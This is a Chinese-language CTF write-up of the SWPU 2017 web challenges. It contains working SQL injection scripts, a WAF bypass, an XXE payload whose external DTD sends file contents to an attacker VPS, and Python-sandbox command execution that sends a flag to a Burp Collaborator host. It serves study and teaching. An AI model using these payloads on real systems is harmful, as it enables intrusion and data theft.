swpu 2017 writeup

挺不错的比赛,只做出了几道web😑

参考官方的wp复现了剩余的题.

web和misc题目备份:

web1✔

php_screw加密源码,

直接上脚本怼,https://github.com/firebroo/screw_decode

三个需要提供的变量分别是”6”,”xxooaa”,”11132, 468, 392, 1281, 62”

都有提示.

拿到源码,

1
$str="select password from users where password='".md5($password,true)."'";

md5注入,当md5($password,true)的第二个参数为True时,可能存在注入问题.

可以用这个脚本来跑,

1
2
3
4
5
6
7
8
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>

账号admin,密码ffifdyop

web2✔

社工题,线索为QQ号->QQ空间->个人博客->邮箱->社工库查到密码->爆破后台登陆

web3

不会

看了wp,简单分析下.

有一个很明显的注入,

1
2
3
4
5
6
7
8
9
10
11
12
13
function load_session()
{
$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
$session = $res->fetch_array();
if (empty($session))
{
$this->insert_session();
}
else
{
$GLOBALS['_SESSION'] = unserialize($session['data']);
}
}

$this->session_id和$this->_ip是可控的,但是传入的参数都被转义了,没有单引号没法注入,当时我看到这里就放弃了✋

跟一下$this->session_id的数据流,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID')
{
$this->dbConn = $db;
$this->session_name = $session_name;
$this->session_table = $session_table;
$this->_ip = $this->real_ip();
if ($session_id == '' && !empty($_COOKIE[$this->session_name]))
{
$this->session_id = $_COOKIE[$this->session_name];
}
else
{
$this->session_id = $session_id;
}
if ($this->session_id)
{
$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{
$this->session_id = $tmp_session_id;
}
else
{
$this->session_id = '';
}
}
if ($this->session_id)
{
$this->load_session();
}
else
{
$this->gen_session_id();
setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));
}
}

从SESSID传入后,先进行了一步判断.

取前32位赋值给了$tmp_session_id然后进入gen_session_key()方法,

1
2
3
4
5
6
7
8
9
function gen_session_key($session_id)
{
static $ip = '';
if ($ip == '')
{
$ip = substr($this->_ip, 0, strrpos($this->_ip, '.'));
}
return sprintf('%08x', crc32($ip . $session_id));
}

返回8位十六进制的crc32值,如果这个值和$this->session_id相等,最终才会把传入的SESSID赋给$this->session_id.

如果我们传入一个%00,解码后就是\0,就能使截取前32位的时候把反斜线截出来吃掉后面的单引号,然后在$this->_ip写注入就行了.

最终我们想要的注入语句是这样的,

1
SELECT data FROM session WHERE session_id = '1234567890123456789012345678901\' and ip = 'union select 0x613a323a7b733a343a226e616d65223b733a363a22736e30307079223b733a353a2273636f7265223b733a333a22313030223b7d-- -'

其中,十六进制的值是,

1
a:2:{s:4:"name";s:6:"sn00py";s:5:"score";s:3:"100";}

通过注入使查询结果的值是100.

为了满足$this->gen_session_key($tmp_session_id) == substr($this->session_id, 32),我们要先算出$this->gen_session_key($tmp_session_id)的值.

这里有一个细节,\0被截取之后还剩下一个0,会出现在substr($this->session_id, 32)的第一位,所以我们计算出的$this->gen_session_key($tmp_session_id)的第一位也必须是0才可以,这就需要fuzz一下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function gen_session_key()
{
$xff = 'union select 0x613a323a7b733a343a226e616d65223b733a363a22736e30307079223b733a353a2273636f7265223b733a333a22313030223b7d-- -';
static $ip = '';
if ($ip == '')
{
$ip = substr($xff, 0, strrpos($xff, '.'));
}
for($c=32; $c<128; $c++) {
$session_id = chr($c).'123456789012345678901234567890\\';
$c32 = sprintf('%08x', crc32($ip . $session_id));
if(substr($c32, 0, 1)==='0'){
echo $session_id.'---'.$c32.'<br />';
}
}
}
gen_session_key();

得到几组结果,

随便选用一组,

这道题最大的亮点在于用%00来引入\,从而使单引号失效.👍

web4✔

XXE,题不难,主要是没给源码,黑盒测起来挺恼火,加上xml用的不多,语法不太熟,看的大佬的payload.

题设是post传一个user参数进去,但是传进去后就是原样输出,什么反应都没有.

后来想到提示xxe,所以把Content-Type改成application/xml,然后直接传xml文档进去.(骗你的,AWVS可以扫出来😆)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: 39.106.16.58
Content-Length: 135
Cache-Control: max-age=0
Origin: http://39.106.16.58
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text ml,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-HK;q=0.2
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag PUBLIC "-//A//B//EN" "http://your_vps_ip/1.dtd">
<roottag>&foo;</roottag>

1.dtd

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php">
<!ENTITY % request "<!ENTITY foo SYSTEM 'http://your_vps_ip/id=%file;'>">
%request;

后来读源码知道是把post过去的entity过滤了,所以不能在xml里定义实体.

1
2
3
4
5
6
7
8
9
10
<?php
libxml_disable_entity_loader(false);
$user1 = $_POST['user1'];
$xmlfile = file_get_contents('php://input');
$aa = str_replace('<!ENTITY','**',$xmlfile);
$dom = new DOMDocument();
$dom->loadXML($aa, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
?>

第二个坑是dtd中参数实体里面不能再嵌套参数实体,只能嵌套普通实体,然后在xml里调用普通实体.

web5

python沙盒,没做出来

当时import了几个模块都提示不允许,还以为ban掉了”import”.

正常的解题流程应该这样,

fuzz一下,发现有4个内置模块可以用(从python文档里爬下来的字典:python_lib_list.txt),

timeit模块用于计算执行一段python代码所用的时间.

1
2
3
import timeit
s = "__import__('os').system('whoami')"
timeit.timeit(stmt=s, number=1)

赛后复现的时候我发现ban掉了一些网络请求的命令,但是用cu``rl就能绕过,

1
2
3
import timeit
s = "__import__('os').system('cu``rl r4w1lniamn7dh48yzt8ep78dr4xvlk.burpcollaborator.net/`cat flag`')"
a = timeit.timeit(stmt=s, number=1)

问了下问题人说比赛的时候其实是iptables直接ban掉外网的,比赛完后服务器回滚清空了iptables.

如果不能外带数据的话,就需要用延时来猜解数据.

fuzz.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#! /usr/bin/env python3
# Author : sn00py
# Date : 2017/11/7 21:11
# Email: 3022235906@qq.com
# Comment: time based rce for swpu web5
import requests
url = "http://47.95.252.234/runcode"
headers = {"X-Requested-With": "XMLHttpRequest"}
chars = [chr(i) for i in range(32, 128)]
result = ''
for i in range(1, 50):
for c in chars:
# print(c)
process = """import timeit
s = "__import__('os').system('sleep $(cat flag | cut -c """+str(i)+""" | tr """+c+""" 2)')"
a = timeit.timeit(stmt=s, number=1)
print a"""
payload = {'process': process}
try:
res = requests.post(url, data=payload, headers=headers, timeout=5)
except Exception as e:
continue
if res is not None:
if '2.' in res.text:
result += c
print('result:', result)
break

另外,那个platform库中有个popen()方法,

1
2
3
4
5
6
7
def popen(cmd, mode='r', bufsize=-1):
""" Portable popen() interface.
"""
import warnings
warnings.warn('use os.popen instead', DeprecationWarning, stacklevel=2)
return os.popen(cmd, mode, bufsize)

第一个参数直接传入os.popen(),所以也能用来执行命令.

1
2
3
import platform
res = platform.popen('whoami').read()
print res

web6

不熟悉TP框架.

web7✔

首先文件包含拿到源码,

1
http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=check
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$check= preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
if($check)
{
exit("Stop hacking by using SQL injection!");
}
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
function check_url()
{
$url=parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
$key_word=array("select","from","for","like");
foreach($query as $key)
{
foreach($key_word as $value)
{
if(preg_match("/".$value."/",strtolower($key)))
{
die("Stop hacking by using SQL injection!");
}
}
}
}
?>

传入的参数要经过两层过滤,第一层直接把select过滤了,所以看起来似乎没法注入.

注意到函数check_url()中,

1
2
$url=parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);

parse_url()在处理url的时候有很多问题,其中一个在php7仍未修复,可参考GeekPwn 2016 跨次元 CTF Web

在处理’////‘开头的url时,parse_url()会直接返回false,导致此题中的check_url()函数不起作用.

所以实际需要避开的就只有/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i

二分盲注,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#! /usr/bin/env python3
# Author : sn00py
# Date : 2017/11/5 21:51
# Email: 3022235906@qq.com
# Comment: no comment
import requests
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"}
num = 1
result = ''
while num < 40:
left = 32
right = 127
while True:
mid = (left + right) // 2
url = "http://39.106.13.2////web2/article_show_All.php?a_id=1%27%26%26%20ascii(mid((select%20flag%20from%20flag)," + str(num) + ",1))>" + str(mid) + "--%20-"
# print(url)
try:
res = requests.get(url, headers=headers)
except Exception as e:
# print(e)
continue
if res is not None:
if 'HACKER' in res.text:
left = mid
else:
right = mid
# print('下次left:%s,right:%s' % (left, right))
if right == left + 1:
url = "http://39.106.13.2////web2/article_show_All.php?a_id=1%27%26%26%20ascii(mid((select%20flag%20from%20flag)," + str(num) + ",1))>" + str(left) + "--%20-"
res = requests.get(url, headers=headers)
if 'HACKER' in res.text:
result += chr(right)
else:
result += chr(left)
print(result)
break
num += 1

不得不说,上次pwnhub学来的二分法真是好用啊,比西方记者还跑得快🐸

web8

又没做出来🙌

Nginx配置错误造成目录穿越,

1
http://182.254.133.111/home../

拿到源码.

扫到README.md

1
http://182.254.133.111/home/README.md

提示,

1
2
3
1. boss 给我说业务系统太多了,需要设计一个云waf
2. 自己写太麻烦了,那我就去github上看看吧
3. 哈哈,找到了 https://github.com/loveshell/ngx_lua_waf

源码是去年的,参照wp,找到注入,

1
http://139.199.185.89/web/riji.php?id=158

WAF用的ngx_lua_waf,关键字基本绕不过.

后来从出题人那里得知,当post数据过大时,会导致WAF不处理.以前在我的WafBypass之道(SQL注入篇)系列里面也见过类似的姿势.

写个脚本FUZZ了一下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#! /usr/bin/env python3
# Author : sn00py
# Date : 2017/11/5 20:51
# Email: 3022235906@qq.com
# Comment: fuzz to by pass lua waf
import requests
import re
url = "http://182.254.133.111/web/riji.php"
cookie = {'PHPSESSID': 'spv8id87csum397u05vivea8p7'}
i = 1000
while True:
i += 100
print(i)
payload = {'fake': 'a'*i, 'id': '-1 union select 1,2,flag from flag-- -'}
try:
res = requests.post(url, data=payload, cookies=cookie, timeout=3)
except Exception as e:
continue
if res is not None:
search = re.search(r'flag{.+}', res.text)
if re.search(r'(flag{.+})', res.text):
print(search.group(0))
print('Number of fake:%s' % i)
break

当post的字符在10000左右时,WAF就不拦截了.

p.s 出题人配置失误,导致COOKIE没有被过滤,syc的师傅利用这个非预期拿到flag也是6👏